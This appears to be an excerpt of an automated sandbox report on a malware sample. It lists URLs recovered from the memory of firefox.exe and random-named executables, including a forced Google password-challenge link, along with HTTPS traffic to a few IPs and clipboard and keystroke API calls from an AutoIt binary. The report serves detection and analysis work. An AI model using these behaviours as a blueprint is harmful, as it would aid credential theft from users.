Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2758104164.000002AEABF31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 01806ad967.exe, 00000007.00000003.3166237725.0000000007818000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757622967.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2757836301.000000000538B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3185075240.000002AEB4B4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3185075240.000002AEB4B97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD71C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchinitializeAttributeInheritance
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001C.00000003.2828617076.000002AEB5F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: 847b1b04ba.exe, 0000000E.00000003.2840387025.0000000005378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: firefox.exe, 0000001C.00000002.2906748877.000002AEA8413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2906748877.000002AEA8492000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3185075240.000002AEB4BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 847b1b04ba.exe, 0000000E.00000003.2841087460.000000000546C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000001C.00000003.2836477076.000002AEAD4C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2835226437.000002AEAD46C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 847b1b04ba.exe, 0000000E.00000003.2841087460.000000000546C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 847b1b04ba.exe, 0000000E.00000003.2841087460.000000000546C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD741000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2988075421.000002AEAC5CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3027428952.000002AEAD90A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001C.00000002.2899659472.000002AEA7739000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 0000001C.00000002.2875893789.000000EC2FA3C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001C.00000002.3233443486.000029FE16D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2901409939.000002AEA78C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3226989797.0000215661004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC8E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4607000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: 847b1b04ba.exe, 0000000E.00000003.2842371884.000000000535B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2899659472.000002AEA77AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001C.00000002.3233443486.000029FE16D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3246948274.00003C6359900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/Failed
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3226989797.0000215661004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC8E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/xQ
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001C.00000002.3248270404.00003CEE6E104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001C.00000002.3070696420.000002AEAE58E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2997884636.000002AEAC949000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001C.00000002.3145198431.000002AEAFBC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3145198431.000002AEAFBFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC8EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2906748877.000002AEA8492000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985906030.000002AEAC391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2881964862.000002AE9BC09000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2889357487.000002AE9BF6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2881964862.000002AE9BC00000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2889357487.000002AE9BF5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.2740877459.000001C0DB14E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2750760531.0000020A27EAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2881964862.000002AE9BC09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdWhether
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttp://mozilla.org/#

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.6:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50133 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0065EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

11_2_0065EAFF

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0065ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

11_2_0065ED6A

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

11_2_0065EAFF

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_0064AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

11_2_0064AA57

Source: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe

Code function: 11_2_00679576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

11_2_00679576

System Summary

Binary is likely a compiled AutoIt script file

Source: 92f830ff9f.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 92f830ff9f.exe, 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_8b00abeb-1
